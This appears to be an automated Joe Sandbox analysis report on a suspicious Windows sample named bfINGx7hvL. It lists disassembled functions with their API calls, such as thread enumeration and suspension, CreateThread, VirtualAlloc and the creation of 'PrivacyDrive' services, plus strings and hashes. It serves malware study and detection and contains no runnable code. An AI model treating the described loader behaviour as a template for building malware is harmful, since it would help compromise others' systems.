Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: AllocVirtual
String ID: =]\$=h\$)=\\$1=7\$3=\$l]
API String ID: 4275171209-3216202953
Opcode ID: 75132aa80ec677986a861b1b84a842cf09d0a9801579e7800dd8ad61ea67b34c
Instruction ID: 98bcd29253916265840648f9ade71dd15fd9564f42f5f3c2623c35f94a07c134
Opcode Fuzzy Hash: 75132aa80ec677986a861b1b84a842cf09d0a9801579e7800dd8ad61ea67b34c
Instruction Fuzzy Hash: 36221A72854B20CFD758DFB9EC86D6A3762F7E0304342A62ED503971E5CF38194AAAC5

Function 0426F7B0 Relevance: 10.4, Strings: 8, Instructions: 390
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

MSO, xrefs: 0426F912
ZABC, xrefs: 0426F91A
6(>*, xrefs: 0426FB0D
Ga!1, xrefs: 0426FAFD
2$1., xrefs: 0426FB43, 0426FB4B
inhlfBS3QXaL1Ty2MUmL0TtBj90y1fo7k8xWfPJyJFo-1727428706-0.0.1.1-/api, xrefs: 0426FC47, 0426FC64
IK, xrefs: 0426F90A
=:li, xrefs: 0426FB05

Memory Dump Source

Source File: 00000000.00000002.2431959827.0000000004261000.00000020.10000000.00040000.00000000.sdmp, Offset: 04261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4261000_bfINGx7hvL.jbxd

Similarity

API ID:
String ID: 2$1.$6(>*$=:li$Ga!1$ZABC$inhlfBS3QXaL1Ty2MUmL0TtBj90y1fo7k8xWfPJyJFo-1727428706-0.0.1.1-/api$IK$MSO
API String ID: 0-3445996816
Opcode ID: c37085d9cf9f833fbd2a6b474ed1133eb75f40cb8b9747abab0983fbfbcd589e
Instruction ID: bfafa70cc668abf6f0d25cdd604e39ccfbe5301991bfc0b32764e850717d2047
Opcode Fuzzy Hash: c37085d9cf9f833fbd2a6b474ed1133eb75f40cb8b9747abab0983fbfbcd589e
Instruction Fuzzy Hash: B1D19D7021C3818BD711DF18E590A2FBBE5AF96748F190D1CE4D29B352D336E989CB92

Function 00F70C6F Relevance: 6.1, APIs: 4, Instructions: 100
threadprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000004,00000000,?,?,?,?,?,00F707B5,?,00000001,?,81EC8B55,000000FF), ref: 00F70CAD
Thread32First.KERNEL32(00000000,0000001C), ref: 00F70CD9
Wow64SuspendThread.KERNEL32(00000000), ref: 00F70D2C
CloseHandle.KERNEL32(00000000), ref: 00F70D56

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID: CloseCreateFirstHandleSnapshotSuspendThreadThread32Toolhelp32Wow64
String ID:
API String ID: 1849706056-0
Opcode ID: ed4f7e93d5c748d87e273fbd072de27cfcb41b6612c19f34ce8dd7f2a24eca5e
Instruction ID: 3c080b9b96476519e346b680fd6e96b83a0f824bc344d54b60803773984c9b1a
Opcode Fuzzy Hash: ed4f7e93d5c748d87e273fbd072de27cfcb41b6612c19f34ce8dd7f2a24eca5e
Instruction Fuzzy Hash: AB411071A00108EFDB18DF98C490FADB7B6EF88310F10C169EA199B7A4DE34AE45CB54

Function 00F70B1F Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 00F70BEB

Strings

,, xrefs: 00F70C37

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID: ,
API String ID: 2422867632-3772416878
Opcode ID: fc60953fbf7661c618888493d7684cefa6d88d8934743e077e5b29c3addb46ae
Instruction ID: f49e9501eb5fceeb8d4130fb35431bfe4cdf87cce8a4a144df1ad8e10858ada4
Opcode Fuzzy Hash: fc60953fbf7661c618888493d7684cefa6d88d8934743e077e5b29c3addb46ae
Instruction Fuzzy Hash: 7D41D374E00209EFDB04CF98C994BAEB7B1BF88314F208699D515AB390C771AE81DB95

Function 00F7055F Relevance: 1.9, APIs: 1, Instructions: 399threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,?,00000001,?,81EC8B55,000000FF), ref: 00F70802

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 5bd6a16939951d1eebf937ec2fe5ed378e8e698e823b77085aa5ae91288e7f39
Instruction ID: 02ed2a7ad9fa7309df9aa35dd3380f13c3ed1aa5ec0e569cffd9cb9b820b3be7
Opcode Fuzzy Hash: 5bd6a16939951d1eebf937ec2fe5ed378e8e698e823b77085aa5ae91288e7f39
Instruction Fuzzy Hash: 8C12D5B1E00219DFDB14CF98C990BADBBB2FF48304F2482AAD519AB385D7346A41DF55

Function 0429F006 Relevance: 1.5, APIs: 1, Instructions: 32comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(042ADCE0,00000000,00000001,042ADCD0,?), ref: 0429F04D

Memory Dump Source

Source File: 00000000.00000002.2431959827.0000000004261000.00000020.10000000.00040000.00000000.sdmp, Offset: 04261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4261000_bfINGx7hvL.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: c0c5c509c24488ba0ce80f1bfd53d1b696596d09aa642bc7cf93fb649d194aca
Instruction ID: db993636b426392bf6f9c4a6ccd74e72e204038285b0ba1b34ec09513f849059
Opcode Fuzzy Hash: c0c5c509c24488ba0ce80f1bfd53d1b696596d09aa642bc7cf93fb649d194aca
Instruction Fuzzy Hash: FEF030B03983509FE3118F14CDA8B86BFE6EF06700F16408AE9850B692C3B96855DF61

Function 042A6730 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(042A9F2B,?,00000006,?,?,00000018,?,?,?), ref: 042A675E

Memory Dump Source

Source File: 00000000.00000002.2431959827.0000000004261000.00000020.10000000.00040000.00000000.sdmp, Offset: 04261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4261000_bfINGx7hvL.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction ID: fb6f357373f259be8b0e83fffc5d2a3912a28e0da7d2036ce94b71e982b3a7e9
Opcode Fuzzy Hash: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction Fuzzy Hash: 76E0FE75908316AB9A09CF45C14444EFBE5BFC4714F11CC8DA4D867210D3B0AD46DF82

Function 042AA1E0 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2431959827.0000000004261000.00000020.10000000.00040000.00000000.sdmp, Offset: 04261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4261000_bfINGx7hvL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82152c0c93add1ca0337bf3f157b9c0f21b4dfa893e94e58ca3fe4d438903b9d
Instruction ID: 8ef96a427122de843984372c172cd47db27a6ec6c249ef16970194e55c272ecf
Opcode Fuzzy Hash: 82152c0c93add1ca0337bf3f157b9c0f21b4dfa893e94e58ca3fe4d438903b9d
Instruction Fuzzy Hash: 3A419F35728201ABD7149E19D890B3EFBA5EF89714F24881CF9C597240D735F820CB52

Function 0426D3C0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 158
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetInputState.USER32 ref: 0426D3D1
GetCurrentThreadId.KERNEL32 ref: 0426D3E6
GetCurrentProcessId.KERNEL32 ref: 0426D3EC
ExitProcess.KERNEL32 ref: 0426D5B0

Strings

clmn, xrefs: 0426D573, 0426D57B
ohij, xrefs: 0426D54E

Memory Dump Source

Source File: 00000000.00000002.2431959827.0000000004261000.00000020.10000000.00040000.00000000.sdmp, Offset: 04261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4261000_bfINGx7hvL.jbxd

Similarity

API ID: CurrentProcess$ExitInputStateThread
String ID: clmn$ohij
API String ID: 1029096631-3567580053
Opcode ID: 917d7093c126d367ab7f6fb4c7f6ba63bcc2ea08ac6f50a812eb051ef9982b15
Instruction ID: ac1e8d106342cff3dce902eb894594c25fa7329089af92a7df2b03cf4cafd1c8
Opcode Fuzzy Hash: 917d7093c126d367ab7f6fb4c7f6ba63bcc2ea08ac6f50a812eb051ef9982b15
Instruction Fuzzy Hash: B341697062C384ABD301AF69D184A1EFBE6EF52749F188C0CE4C587251C33AE854CBA3

Function 0429F073 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 50
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32(?), ref: 0429F0E5

Strings

p3w1, xrefs: 0429F083
y/z-, xrefs: 0429F07C
n;L9, xrefs: 0429F091

Memory Dump Source

Source File: 00000000.00000002.2431959827.0000000004261000.00000020.10000000.00040000.00000000.sdmp, Offset: 04261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4261000_bfINGx7hvL.jbxd

Similarity

API ID: AllocString
String ID: n;L9$p3w1$y/z-
API String ID: 2525500382-3403012672
Opcode ID: 05c4bacb578fbe914c46c7a56971a1e7ecba26e5ca0fbfb1634bc57f1e8c3b7e
Instruction ID: a6ac991a2799768a571f3e995dd474897850b34f54e694fe4b7f783e1caa6ee9
Opcode Fuzzy Hash: 05c4bacb578fbe914c46c7a56971a1e7ecba26e5ca0fbfb1634bc57f1e8c3b7e
Instruction Fuzzy Hash: 041129B4111B01EFD3208F15C694A26FBB5FF56701B508A4CE8A68BB51D734F866CFA1

Function 00FCD227 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(00000000,?,?), ref: 00FCD2B9

Strings

.dll, xrefs: 00FCD25E

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: .dll
API String ID: 1029625771-2738580789
Opcode ID: 22e7a93ae9463fbf26fe8a64879a4a4537edfd71a6a3bb27af4a5e412625cd75
Instruction ID: dd6374dfa29552811764cb2ea691c1cb4fcc11188f36e786c05422ce900e915f
Opcode Fuzzy Hash: 22e7a93ae9463fbf26fe8a64879a4a4537edfd71a6a3bb27af4a5e412625cd75
Instruction Fuzzy Hash: FE21E735A006469FD721CFA8C985FAE7BA4AF46330F18417DD84697A41D770EC45D780

Function 0429F66B Relevance: 3.1, APIs: 2, Instructions: 88
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 0429F6B5
SysAllocString.OLEAUT32(?), ref: 0429F765

Memory Dump Source

Source File: 00000000.00000002.2431959827.0000000004261000.00000020.10000000.00040000.00000000.sdmp, Offset: 04261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4261000_bfINGx7hvL.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 8bee52ebe0b6456a2c674bf787b2f93a1b74a5b43826d1748789f17d0dbfd4a4
Instruction ID: cde14f00c9de986a04a0b2873f79679890a364cb0251839dd1e91890cc3c4c5f
Opcode Fuzzy Hash: 8bee52ebe0b6456a2c674bf787b2f93a1b74a5b43826d1748789f17d0dbfd4a4
Instruction Fuzzy Hash: 3E3124B4210700DBEB60CF64C6C4A16BBF5FF19700B10898CE85A8FB5AD335E854CB64

Function 00FCBE45 Relevance: 1.6, APIs: 1, Instructions: 318memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00FCBEBE

Memory Dump Source

Source File: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_bfINGx7hvL.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 110a8e11aacf9450550942e71900ee3962611d5b415020ec746abf44dec659d6
Instruction ID: 3e7743bc08c55094788428c53ab67144c98a6ff557690cf00eedcc75f6b68b69
Opcode Fuzzy Hash: 110a8e11aacf9450550942e71900ee3962611d5b415020ec746abf44dec659d6
Instruction Fuzzy Hash: 8BB1F536900603ABCB259A61CE43FABB7E9FF09324F18052DF95982542E735F950EBD1

Function 042A3176 Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000), ref: 042A31D3

Memory Dump Source

Source File: 00000000.00000002.2431959827.0000000004261000.00000020.10000000.00040000.00000000.sdmp, Offset: 04261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4261000_bfINGx7hvL.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 799164bf85b3e37c3bec3b59cd93e732627a3135c70a17f7f59cf579e557849a
Instruction ID: aff42955bf7fb519397010458816c9c2331b0fe7336565069f6b93ca28e7d1a3
Opcode Fuzzy Hash: 799164bf85b3e37c3bec3b59cd93e732627a3135c70a17f7f59cf579e557849a
Instruction Fuzzy Hash: 0AF0F4306182409BD301EB08D998A1ABBF5EB56701F584C18E8C4D7261C33AE820DB52

Function 04272631 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 04272643

Memory Dump Source

Source File: 00000000.00000002.2431959827.0000000004261000.00000020.10000000.00040000.00000000.sdmp, Offset: 04261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4261000_bfINGx7hvL.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 9a0ee2aa9a60b5d8c267a377e7e2c76bdef7f58d2e4ab4051945c79e4956bf89
Instruction ID: 3e841f3e1b951bc1529a6ef0595d19d63519fb331546548a73b3e3ab6afdc4ca
Opcode Fuzzy Hash: 9a0ee2aa9a60b5d8c267a377e7e2c76bdef7f58d2e4ab4051945c79e4956bf89
Instruction Fuzzy Hash: 86D048303C8300B6F1310A0CBC2BF043110A302F62F710740B3217C1C08AE43512861D

Function 0429F113 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0429F123

Memory Dump Source

Source File: 00000000.00000002.2431959827.0000000004261000.00000020.10000000.00040000.00000000.sdmp, Offset: 04261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4261000_bfINGx7hvL.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: aa93f69b33bf02bb61c02558f35f97d763379d2ca545cf948090c446b65a0573
Instruction ID: 0e370b930ca53666b1adfe293069d00c75881e792ffa1a83d4fe8cab18e4ea39
Opcode Fuzzy Hash: aa93f69b33bf02bb61c02558f35f97d763379d2ca545cf948090c446b65a0573
Instruction Fuzzy Hash: 9EC048347C0302BBF2324A18FC2FF043624F716F02F610090FB41BC0D08AE66A22AA5A

Function 042A3142 Relevance: 1.5, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000), ref: 042A3148

Memory Dump Source

Source File: 00000000.00000002.2431959827.0000000004261000.00000020.10000000.00040000.00000000.sdmp, Offset: 04261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4261000_bfINGx7hvL.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 74321a8b8bf033f6b1380de8f6203dc119794e4c44713aefd6ea7a7e7e42fbc8
Instruction ID: 5a0e04bf1a36c2d6bbe1097311d305fb7e8325e872850cae0ad871ab436adce6
Opcode Fuzzy Hash: 74321a8b8bf033f6b1380de8f6203dc119794e4c44713aefd6ea7a7e7e42fbc8
Instruction Fuzzy Hash: 39B012301440109BC5101B08BC0DFC23F20DF40350F024050F004580B1C1154CA5C5E4

Function 04272610 Relevance: 1.3, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 04272621

Memory Dump Source

Source File: 00000000.00000002.2431959827.0000000004261000.00000020.10000000.00040000.00000000.sdmp, Offset: 04261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4261000_bfINGx7hvL.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: d75302e982289fbef47442ee4f72c30c86d333a2c384b60ea575c9a78973018c
Instruction ID: 4bf8d998b274890efeee894dec24b5eaf86beea95b43ab7c125e6de7fcac4fc9
Opcode Fuzzy Hash: d75302e982289fbef47442ee4f72c30c86d333a2c384b60ea575c9a78973018c
Instruction Fuzzy Hash: 6FC08C20594208A7E2102A2DBC0EF03392CD343B62F400321F9A0400C1AE641829C1F7

Non-executed Functions

Function 0041D320 Relevance: 47.5, APIs: 17, Strings: 10, Instructions: 202serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F,B681F143,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041D35D
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,00000000,0053C268,000000FF,?,00410160,?), ref: 0041D36A
OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F,?,?,?,?,?,?,?,?,?,00000000,0053C268,000000FF), ref: 0041D375
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,00000000,0053C268,000000FF,?,00410160,?), ref: 0041D37C
OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F,?,?,?,?,?,?,?,?,?,00000000,0053C268,000000FF), ref: 0041D387
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,00000000,0053C268,000000FF,?,00410160,?), ref: 0041D38E
OpenSCManagerW.ADVAPI32(00000000,00000000,00000002), ref: 0041D431
CreateServiceW.ADVAPI32(00000000,PrivacyDrive,PrivacyDrive,000F01FF,00000001,00000002,00000001,?,00000000,00000000,00000000,00000000,00000000), ref: 0041D461
ChangeServiceConfig2W.ADVAPI32(00000000,00000001,?), ref: 0041D47C
CloseServiceHandle.ADVAPI32(?), ref: 0041D485
CloseServiceHandle.ADVAPI32(?), ref: 0041D491
OpenSCManagerW.ADVAPI32(00000000,00000000,00000002), ref: 0041D4F0
CreateServiceW.ADVAPI32(00000000,PDSvc,PrivacyDrive Service,000F01FF,00000110,00000002,00000001,?,00000000,00000000,00000000,00000000,00000000), ref: 0041D51F
ChangeServiceConfig2W.ADVAPI32(00000000,00000001,?), ref: 0041D539
CloseServiceHandle.ADVAPI32(00000000), ref: 0041D540
CloseServiceHandle.ADVAPI32(?), ref: 0041D54C
GetLastError.KERNEL32 ref: 0041D558

Strings

Drivers\pdv64.sys, xrefs: 0041D3E2, 0041D3ED
Privacy Drive Encryption Engine Driver, xrefs: 0041D471
!@, xrefs: 0041D3B5, 0041D571
PDSvc, xrefs: 0041D519
V, xrefs: 0041D52E
PrivacyDrive, xrefs: 0041D456, 0041D45B
Drivers\pdv.sys, xrefs: 0041D3DD
%spdsvc.exe, xrefs: 0041D4B4
%s%s, xrefs: 0041D3EF
PrivacyDrive Service, xrefs: 0041D514

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Service$CloseHandle$ManagerOpen$ChangeConfig2Create$ErrorLast
String ID: !@$ V$%s%s$%spdsvc.exe$Drivers\pdv.sys$Drivers\pdv64.sys$PDSvc$Privacy Drive Encryption Engine Driver$PrivacyDrive$PrivacyDrive Service
API String ID: 3379103096-671622587
Opcode ID: e211ec5323f855e231afb5620a5a057e52a2b5e24d2cbd0302a1c7a6ed5680cc
Instruction ID: b452f98a8033bf9f68e19ff2e294d75b6f98f50a34ea6d262c5011a92e58c42d
Opcode Fuzzy Hash: e211ec5323f855e231afb5620a5a057e52a2b5e24d2cbd0302a1c7a6ed5680cc
Instruction Fuzzy Hash: 2E715AB1E41308AADB10DFA5DC4ABEEBBB5BF18715F10012AF500B72D0D7B5A948CB64

Function 0049B470 Relevance: 46.2, APIs: 8, Strings: 18, Instructions: 650windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004FFCFE: _malloc.LIBCMT ref: 004FFD16

PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 0049B58F
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 0049B654
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 0049B76F
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 0049B7D5
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 0049B9A0
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 0049BC51
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 0049BD4F
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 0049BD7B

Strings

MOUNT1, xrefs: 0049B88B
DISMOUNTALL, xrefs: 0049B9B0
CLOSE, xrefs: 0049B6A9
DELETE_FROM_DISK, xrefs: 0049BB17
CLOSE_ALL, xrefs: 0049B6EE
FAVORITES, xrefs: 0049B507
Menu, xrefs: 0049B50C
Item, xrefs: 0049B669, 0049B6AE, 0049B6F3, 0049B7EA, 0049B839, 0049B890, 0049B8EA, 0049B9B5, 0049BA28, 0049BA98, 0049BB1C, 0049BB67, 0049BBAC, 0049BC0F, 0049BC86, 0049BCC3, 0049BCE3
REMOVE_FROM_FAVORITES, xrefs: 0049BA93
DISMOUNT, xrefs: 0049B8E5
REFRESH, xrefs: 0049B834
CHANGE_PASSWORD, xrefs: 0049BC0A
OPEN, xrefs: 0049B664
PROPERTIES, xrefs: 0049BC81, 0049BCBE, 0049BCDE
MOVE_UP, xrefs: 0049BB62
OPEN_FILE_LOCATION, xrefs: 0049B7E5
MOVE_DOWN, xrefs: 0049BBA7
ADD_TO_FAVORITES_1, xrefs: 0049BA23

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: MessagePeek$_malloc
String ID: ADD_TO_FAVORITES_1$CHANGE_PASSWORD$CLOSE$CLOSE_ALL$DELETE_FROM_DISK$DISMOUNT$DISMOUNTALL$FAVORITES$Item$MOUNT1$MOVE_DOWN$MOVE_UP$Menu$OPEN$OPEN_FILE_LOCATION$PROPERTIES$REFRESH$REMOVE_FROM_FAVORITES
API String ID: 703162041-640977299
Opcode ID: 3d65e8f234e4143a1968098b70c06f5c93d839079b06c9fdb75d6c388c50a9fd
Instruction ID: 8658cc561e65f14d6aa1a5edf7c6d9d64546e0c6573e34239193dc2d782e3f8f
Opcode Fuzzy Hash: 3d65e8f234e4143a1968098b70c06f5c93d839079b06c9fdb75d6c388c50a9fd
Instruction Fuzzy Hash: FF328130344340AFEB10DF55D996F6ABBE8FB94705F04092EF641962D1D7B8E908CB9A

Function 0045F770 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 729windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 0045F820
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 0045F8D4
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 0045F992
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 0045FAEA
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 0045FB4E
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 0045FC1E
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 0045FC78
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 0045FDED
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 0045FE5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 0045FEC2
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 0045FF3D
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 00460078
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 004600CF

Strings

[, xrefs: 0045FF4C
[, xrefs: 0045FA3C

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: MessagePeek
String ID: [$[
API String ID: 2222842502-172125351
Opcode ID: 69f94420443c5227c3e6658945dab2653e5e3fd36ec4916025096ce0b7ff5bfb
Instruction ID: 4de34ae71ae56d1f3c43cc144817aa65dcdef855dddc74583266f8bfd0c0baf4
Opcode Fuzzy Hash: 69f94420443c5227c3e6658945dab2653e5e3fd36ec4916025096ce0b7ff5bfb
Instruction Fuzzy Hash: 7942E930740704BBEB14AA658C56FAD7265AF01715F20096FFB15AF2D2CBBC6D09874E

Function 00F90B95 Relevance: 26.1, Strings: 20, Instructions: 1129COMMON

Download Yara Rule

Strings

9:;<, xrefs: 00F9143D
{9, xrefs: 00F90BD9
}e, xrefs: 00F90BE1
